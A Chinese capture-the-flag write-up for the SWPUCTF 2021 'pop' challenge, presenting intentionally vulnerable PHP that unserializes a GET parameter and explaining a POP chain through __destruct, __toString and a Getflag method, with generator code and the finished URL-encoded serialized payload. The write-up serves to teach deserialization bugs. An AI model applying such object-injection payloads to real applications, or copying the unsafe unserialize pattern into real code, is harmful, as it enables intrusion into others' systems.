【SWPUCTF 2021 新生赛】pop

题目

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

思路

1. 题目分析

题目给出了一段PHP代码,主要包含三个类:w44mw22mw33m。代码的核心逻辑是通过反序列化用户输入的w00m参数,触发魔术方法链,最终调用w44m类的Getflag方法,输出flag。

代码关键点:
  1. w44m

  • 包含私有属性admin和受保护属性passwd

  • Getflag方法会检查adminpasswd的值,如果满足条件(admin === 'w44m'passwd === '08067'),则输出flag;否则输出nono

  1. w22m

  • 包含一个公共属性w00m

  • 析构函数__destruct会在对象销毁时被调用,输出w00m的值。

  1. w33m

  • 包含两个公共属性w00mw22m

  • __toString方法会在对象被当作字符串使用时被调用,调用w00m对象的w22m方法。

  1. 反序列化入口

  • 通过$_GET['w00m']获取用户输入,并调用unserialize函数进行反序列化。


2. 漏洞利用思路

这道题目的核心是利用PHP反序列化漏洞,通过构造特定的对象链,触发魔术方法链,最终调用w44m类的Getflag方法。具体步骤如下:

2.1 触发魔术方法链
  1. 触发__destruct

  • 反序列化时会创建对象,当脚本执行结束或对象被销毁时,__destruct方法会被调用。

  • 我们需要让w22m对象的__destruct方法被触发。

  1. 触发__toString

  • w22m__destruct方法会输出w00m属性。

  • 如果w00m是一个w33m对象,那么当它被当作字符串输出时,w33m__toString方法会被触发。

  1. 调用Getflag方法

  • w33m__toString方法会调用w00m对象的w22m方法。

  • 如果w00m是一个w44m对象,且w22m属性的值为Getflag,那么w44mGetflag方法会被调用。

2.2 覆盖属性值
  • w44m类的adminpasswd属性是私有和受保护的,无法直接访问。

  • 在反序列化时,可以通过构造特定的序列化字符串来覆盖这些属性的值。


EXP

为了实现上述逻辑,我们需要构造一个对象链,并通过反序列化触发魔术方法链。具体步骤如下:

3.1 构造对象链
  1. 创建w44m对象

  • 设置adminw44mpasswd08067

  1. 创建w33m对象

  • w00m属性设置为w44m对象。

  • w22m属性设置为Getflag

  1. 创建w22m对象

  • w00m属性设置为w33m对象。

3.2 序列化对象链

将上述对象链序列化为字符串。需要注意的是,私有和受保护属性的字段名在序列化字符串中有特殊格式:

  • 私有属性:%00类名%00属性名

  • 受保护属性:%00*%00属性名

3.3 生成Payload
class w44m {
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w33m {
    public $w00m;
    public $w22m = 'Getflag';
    public function __construct() {
        $this->w00m = new w44m();
    }
}

class w22m {
    public $w00m;
    public function __construct() {
        $this->w00m = new w33m();
    }
}

echo urlencode(serialize(new w22m()));
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

总结

这道题目考察了PHP反序列化漏洞的利用,通过构造特定的对象链和覆盖属性值,成功触发魔术方法链并调用目标方法。关键在于理解PHP反序列化的机制以及魔术方法的触发条件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值